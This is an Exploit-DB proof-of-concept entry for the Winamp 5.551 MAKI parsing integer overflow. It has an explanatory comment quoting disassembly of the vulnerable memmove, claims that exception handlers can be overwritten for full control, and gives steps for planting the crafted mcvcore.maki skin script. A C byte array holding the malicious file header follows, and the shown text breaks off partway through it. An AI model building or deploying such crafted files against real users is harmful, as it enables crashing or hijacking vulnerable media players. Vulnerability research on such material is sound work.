Exploit-DB #8767
Description: Winamp 5.551 - MAKI Parsing Integer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-05-22
Author: n00b

Exploit:
/*
Winamp 5.551 MAKI Parsing Integer Overflow Vulnerability

This is just a simple poc code to show how to
exploit the recent MAKI file parsing vulnerability.

Tested on :Vista sp1 and Xpsp3
Release Date :May 22 2009
Venders web site :http://www.winamp.com/
Version Teasted:Winamp 5.551
Not vulnerable :Winamp 5.552

Im not going into any real detail as this is just
a poc code and i think the guy who wrote the article
explains where and why the integer overflow happens.
Im sure if you are that interested have a look through
the dll your self and you will also see the vulnerable memove :).

Credits to the guys down at vrt-sourcefire for the overflow.
http://vrt-sourcefire.blogspot.com

We are able to overwrite the exception handlers and gain full
control of the application the vendors released a patch for this
but older versions are still vulnerable.!!!!

Below is and explanation of the overflow which i took
from the web site from the url above.


[--Snip--]
.text:12094DAB var_10144= byte ptr -10144h
.text:12094DAB MultiByteStr= byte ptr -13ch

If a string size is greater than or equal to 0x8000, edi will be 0xFFFFhhhh
(where, 0xhhhh is the two byte input)

.text:12094F62 loc_12094F62:
.text:12094F62 mov ax, [ebx]
.text:12094F65 movsx edi, ax ; sign extension
.text:12094F68 inc ebx
.text:12094F69 push edi ; Size
.text:12094F6A inc ebx
.text:12094F6B lea eax, [ebp+MultiByteStr]
.text:12094F71 push ebx ; Src
.text:12094F72 push eax ; Dst, buffer is located in the stack
.text:12094F73 call memmove

.text:120951E5 loc_120951E5:
.text:120951E5 mov edi, [ebx]
.text:120951E7 add ebx, 4
.text:120951EA mov ax, [ebx]
.text:120951ED movsx esi, ax ; sign extension
.text:120951F0 inc ebx
.text:120951F1 push esi ; Size
.text:120951F2 inc ebx
.text:120951F3 lea eax, [ebp+var_10144]
.text:120951F9 push ebx ; Src
.text:120951FA push eax ; Dst, buffer is located in the stack
.text:120951FB call memmove
[--Snip--]

And once the file is created then we need to place the
mcvcore.maki file inside ..//Winamp/Skins/Bento/Scripts/.
And then open winamp with olldbg.And step through the
execution.

Credits to n00b for writing simple poc code !!
Progression is always a good thing.
----------
Disclaimer
----------
The information in this advisory and any of its
demonstrations is provided "as is" without any
warranty of any kind.

I am not liable for any direct or indirect damages
caused as a result of using the information or
demonstrations provided in any part of this advisory.
Educational use only..!!
*/


#include <stdio.h>
#define MAKI "mcvcore.maki"


unsigned char First_Header[] =
{
    0x46, 0x47, 0x03, 0x04, 0x17, 0x00, 0x00, 0x00, 0x2A, 0x00, 0x00, 0x00,
    0x71, 0x49, 0x65, 0x51, 0x87, 0x0D, 0x51, 0x4A, 0x91, 0xE3, 0xA6, 0xB5,
    0x32, 0x35, 0xF3, 0xE7, 0x64, 0x0F, 0xF5, 0xD6, 0xFA, 0x93, 0xB7, 0x49,
    0x93, 0xF1, 0xBA, 0x66, 0xEF, 0xAE, 0x3E, 0x98, 0x7B, 0xC4, 0x0D, 0xE9,
    0x0D, 0x84, 0xE7, 0x4A, 0xB0, 0x2C, 0x04, 0x0B, 0xD2, 0x75, 0xF7, 0xFC,
    0xB5, 0x3A, 0x02, 0xB2, 0x4D, 0x43, 0xA1, 0x4B, 0xBE, 0xAE, 0x59, 0x63,
    0x75, 0x03, 0xF3, 0xC6, 0x78, 0x57, 0xC6, 0x87, 0x43, 0xE7, 0xFE, 0x49,
    0x85, 0xF9, 0x09, 0xCC, 0x53, 0x2A, 0xFD, 0x56, 0x65, 0x36, 0x60, 0x38,
    0x1B, 0x46, 0xA7, 0x42, 0xAA, 0x75, 0xD8, 0x3F, 0x66, 0x67, 0xBF, 0x73,
    0xF4, 0x7A, 0x78, 0xF4, 0xBB, 0xB2, 0xF7, 0x4E, 0x9C, 0xFB, 0xE7, 0x4B,
    0xA9, 0xBE, 0xA8, 0x8D, 0x02, 0x0C, 0x37, 0x3A, 0xBF, 0x3C, 0x9F, 0x43,
    0x84, 0xF1, 0x86, 0x88, 0x5B, 0xCF, 0x1E, 0x36, 0xB6, 0x5B, 0x0C, 0x5D,
    0xE1, 0x7D, 0x1F, 0x4B, 0xA7, 0x0F, 0x8D, 0x16, 0x59, 0x94, 0x19, 0x41,
    0x99, 0xE1, 0xE3, 0x4E, 0x36, 0xC6, 0xEC, 0x4B, 0x97, 0xCD, 0x78, 0xBC,
    0x9C, 0x86, 0x28, 0xB0, 0xE5, 0x95, 0xBE, 0x45, 0x72, 0x20, 0x91, 0x41,
    0x93, 0x5C, 0xBB, 0x5F, 0xF9, 0xF1, 0x17, 0xFD, 0x4E, 0x6D, 0x90, 0x60,
    0x7E, 0x53, 0x2E, 0x48, 0xB0, 0x04, 0xCC, 0x94, 0x61, 0x88, 0x56, 0x72,
    0xC0, 0xBC, 0x3A, 0x40, 0x22, 0x6F, 0xD6, 0x4B, 0x8B, 0xA4, 0x10, 0xC8,
    0x29, 0x93, 0x25, 0x47, 0x4D, 0x3E, 0xAA, 0x97, 0xD0, 0xF4, 0xA8, 0x4F,
    0x81, 0x7B, 0x0D, 0x0A, 0xF2, 0x2A, 0x45, 0x49, 0x83, 0xFA, 0xBB, 0xE4,
    0x64, 0xF4, 0x81, 0xD9, 0x49, 0xB0, 0xC0, 0xA8, 0x5B, 0x2E, 0xC3, 0xBC,
    0xFD, 0x3F, 0x5E, 0xB6, 0x62, 0x5E, 0x37, 0x8D, 0x40, 0x8D, 0xEA, 0x76,
    0x81, 0x4A, 0xB9, 0x1B, 0x77, 0xBE, 0x97, 0x4F, 0xCE, 0xB0, 0x77, 0x19,
    0x4E, 0x99, 0x56, 0xD4, 0x98, 0x33, 0xC9, 0x6C, 0x27, 0x0D, 0x20, 0xC2,
    0xA8, 0xEB, 0x51, 0x2A, 0x4B, 0xBA, 0x7F, 0x5D, 0x4B, 0xC6, 0x5D, 0x4C,
    0x71, 0x38, 0xBA, 0x1E, 0x8D, 0x9E, 0x48, 0x3E, 0x48, 0xB9, 0x60, 0x8D,
    0x1F, 0x43, 0xC5, 0xC4, 0x05, 0x40, 0xC9, 0x08, 0x0F, 0x39, 0xAF, 0x23,
    0x4B, 0x80, 0xF3, 0xB8, 0xC4, 0x8F, 0x7E, 0xBB, 0x59, 0x72, 0x86, 0xAA,
    0xEF, 0x0E, 0x31, 0xFA, 0x41, 0xB7, 0xDC, 0x85, 0xA9, 0x52, 0x5B, 0xCB,
    0x4B, 0x44, 0x32, 0xFD, 0x7D, 0x51, 0x37, 0x7C, 0x4E, 0xBF, 0x40, 0x82,
    0xAE, 0x5F, 0x3A, 0xDC, 0x33, 0x15, 0xFA, 0xB9, 0x5A, 0x7D, 0x9A, 0x57,
    0x45, 0xAB, 0xC8, 0x65, 0x57, 0xA6, 0xC6, 0x7C, 0xA9, 0xCD, 0xDD, 0x8E,
    0x69, 0x1E, 0x8F, 0xEC, 0x4F, 0x9B, 0x12, 0xF9, 0x44, 0xF9, 0x09, 0xFF,
    0x45, 0x27, 0xCD, 0x64, 0x6B, 0x26, 0x5A, 0x4B, 0x4C, 0x8C, 0x59, 0xE6,
    0xA7, 0x0C, 0xF6, 0x49, 0x3A, 0xE4, 0x05, 0xCB, 0x6D, 0xC4, 0x8A, 0xC2,
    0x48, 0xB1, 0x93, 0x49, 0xF0, 0x91, 0x0E, 0xF5, 0x4A, 0xFF, 0xCF, 0xDC,
    0xB4, 0xFE, 0x81, 0xCC, 0x4B, 0x96, 0x1B, 0x72, 0x0F, 0xD5, 0xBE, 0x0F,
    0xFF, 0xE1, 0x8C, 0xE2, 0x01, 0x59, 0xB0, 0xD5, 0x11, 0x97, 0x9F, 0xE4,
    0xDE, 0x6F, 0x51, 0x76, 0x0D, 0x0A, 0xBD, 0xF8, 0xF0, 0x80, 0xA5, 0x1B,
    0xA6, 0x42, 0xA0, 0x93, 0x32, 0x36, 0xA0, 0x0C, 0x8D, 0x4A, 0x1B, 0x34,
    0x2E, 0x9B, 0x98, 0x6C, 0xFA, 0x40, 0x8B, 0x85, 0x0C, 0x1B, 0x6E, 0xE8,
    0x94, 0x05, 0x71, 0x9B, 0xD5, 0x36, 0xFD, 0x03, 0xF8, 0x4A, 0x97, 0x95,
    0x05, 0x02, 0xB7, 0xDB, 0x26, 0x7A, 0x10, 0xF2, 0xD5, 0x7F, 0xC4, 0xAC